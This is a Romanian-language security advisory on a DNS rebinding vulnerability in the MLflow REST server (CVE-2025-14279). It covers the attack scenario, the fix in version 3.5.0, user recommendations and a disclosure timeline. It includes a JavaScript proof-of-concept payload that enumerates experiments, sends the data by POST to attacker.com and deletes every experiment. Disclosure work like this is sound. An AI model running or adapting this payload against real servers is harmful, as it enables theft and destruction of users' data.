Autor: Evan Harris
Risc: Ridicat (CVSS 8.1, CVE-2025-14279)
Componentă afectată: serverul REST al MLflow (mlflow/mlflow), versiunile până la și inclusiv 3.4.0

TL;DR

Serverul REST al MLflow nu valida antetul Origin sau Host din cererile primite, lăsându-l expus la DNS rebinding. O victimă care rulează mlflow server local și apoi vizitează un site malițios poate avea browserul transformat într-un proxy care ajunge la interfața loopback, ocolind politica Same-Origin. Fără autentificare pe API-ul REST, atacatorul obține acces complet de citire și scriere: poate enumera experimente, exfiltra datele către o gazdă externă și șterge experimente pur și simplu. Problemei i-a fost atribuit CVE-2025-14279 (CVSS 8.1, Ridicat) și a fost remediată în MLflow 3.5.0, care adaugă validarea antetului Host și blocarea cererilor cross-origin. Utilizatorii ar trebui să facă upgrade la 3.5.0 sau o versiune ulterioară.

Context

Serverul de urmărire al MLflow expune un API REST (de obicei pe http://localhost:5000) pe care interfața web și bibliotecile client îl folosesc pentru a crea, căuta, actualiza și șterge experimente și rulări. În mod implicit, serverul rulează fără autentificare, pornind de la presupunerea că legarea la localhost îl păstrează privat.

Această presupunere se destramă sub DNS rebinding. Politica Same-Origin a browserului ar trebui să împiedice o pagină servită de pe attacker.com să citească răspunsuri de la localhost:5000, dar rebinding-ul o ocolește schimbând ceea ce rezolvă un nume de gazdă după ce pagina a fost încărcată. Deoarece serverul MLflow accepta cereri fără a verifica de unde proveneau, orice site pe care victima îl vizita putea controla API-ul local.

Prezentare generală

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000] B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL] C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface] D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request] E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"] F --> G[Exfiltrate experiment data
to attacker.com] F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"] style A fill:#fff3e0 style B fill:#ffebee style C fill:#ffebee style D fill:#ffebee style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#ffcdd2 style H fill:#ffcdd2

Scenariu de atac

  1. Victima clonează MLflow și rulează serverul local cu configurația implicită (mlflow server), generând câteva experimente pe parcurs.
  2. Atacatorul ridică un laborator de DNS rebinding, de exemplu Singularity of Origin de la NCC Group, și plasează payload-ul de mai jos în directorul de payload-uri al framework-ului.
  3. Victima vizitează site-ul atacatorului și rămâne pe pagină suficient de mult (sub un minut) pentru ca rebinding-ul să aibă loc.
  4. Serverul DNS al atacatorului rezolvă mai întâi numele de gazdă către propriul IP pentru ca payload-ul să se încarce, apoi răspunde la interogările ulterioare cu 127.0.0.1. Browserul reutilizează numele memorat în cache, astfel încât apelurile fetch ale paginii pivotează silențios către localhost:5000 păstrând originea inițială.
  5. Deoarece serverul MLflow nu efectuează nicio validare Origin sau Host, cererile reușesc. Atacatorul enumeră experimentele, trimite datele către attacker.com și șterge experimentele.

Demonstrație a conceptului

Payload-ul de mai jos se înregistrează cu un framework de DNS rebinding. Amprentează ținta ca server MLflow, enumeră experimentele prin API-ul REST neautentificat, exfiltrează rezultatele către o gazdă controlată de atacator și apoi șterge fiecare experiment. Demonstrația conceptului originală este condensată aici la pașii ei funcționali.

const MlFlow = () => {
    let attackExecuted = false;

    async function attack() {
        if (attackExecuted) return;
        const base = `http://${window.location.hostname}:5000`;

        // Read access: enumerate experiments via the unauthenticated REST API
        const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
        });
        const { experiments } = await searchResponse.json();
        if (!experiments?.length) { attackExecuted = true; return; }

        // Exfiltrate the experiment data to the attacker
        fetch('https://attacker.com/messages', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ experimentData: experiments }),
        });

        // Write access: delete every experiment
        for (const experiment of experiments) {
            await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ experiment_id: experiment.experiment_id }),
            });
            await new Promise(r => setTimeout(r, 500));
        }
        attackExecuted = true;
    }

    // Fingerprint the rebound target as an MLflow server before attacking
    async function isService() {
        const response = await fetch(`http://${window.location.hostname}:5000`);
        const body = await response.text();
        return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
    }

    return { attack, isService };
};

// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();

Impact

  • Exfiltrare de date: metadatele experimentelor sunt citite prin experiments/search și trimise către o gazdă controlată de atacator.
  • Distrugere de date: experimentele sunt șterse prin experiments/delete.
  • Manipulare de date: același acces de scriere neautentificat permite operațiuni de actualizare asupra experimentelor.
  • Nu sunt necesare credențiale: atacul funcționează împotriva unei implementări implicite mlflow server, necesitând doar ca victima să viziteze o pagină malițioasă în timp ce serverul rulează.

Răspunsul MLflow

După ce am divulgat problema prin procesul de divulgare coordonată al MLflow, mentenanții au abordat-o în pull request-ul #17910.

Remedierea introduce un strat de middleware de securitate pentru server care:

  • Validează antetul Host față de o listă de permisiuni (localhost și intervale de IP-uri private în mod implicit) pentru a bloca DNS rebinding.
  • Blochează cererile cross-origin care modifică starea (POST, PUT, DELETE, PATCH) de la origini non-localhost.
  • Adaugă antete de răspuns defensive (X-Frame-Options: SAMEORIGIN, X-Content-Type-Options: nosniff).

Este disponibilă o configurație nouă pentru implementările care au nevoie în mod legitim de acces mai larg, inclusiv --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) și --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Protecțiile au fost livrate în MLflow 3.5.0, iar problemei i-a fost atribuit ulterior CVE-2025-14279 (CVSS 8.1, Ridicat; CWE-346, Origin Validation Error).

Recomandări

Pentru utilizatorii finali

  • Faceți upgrade la MLflow 3.5.0 sau o versiune ulterioară.
  • Păstrați setările implicite --allowed-hosts și --cors-allowed-origins dacă nu aveți un motiv specific să le lărgiți și nu dezactivați niciodată middleware-ul de securitate pe un server expus.
  • Nu legați serverul MLflow la o rețea publică sau neîncredere și puneți autentificare sau un reverse proxy în fața lui dacă trebuie să fie accesibil dincolo de localhost.
  • Tratați un server legat local ca fiind accesibil din browser: închideți sau izolați instanțele MLflow locale când navigați pe site-uri neîncredere.

Cronologie

Dată Eveniment
22 septembrie 2025 Vulnerabilitate raportată mentenanților MLflow prin divulgare coordonată (issue #17877)
6 octombrie 2025 MLflow integrează remedierea (PR #17910), lansată în v3.5.0
12 ianuarie 2026 CVE-2025-14279 publicat (CVSS 8.1, Ridicat)
8 iunie 2026 Divulgare publică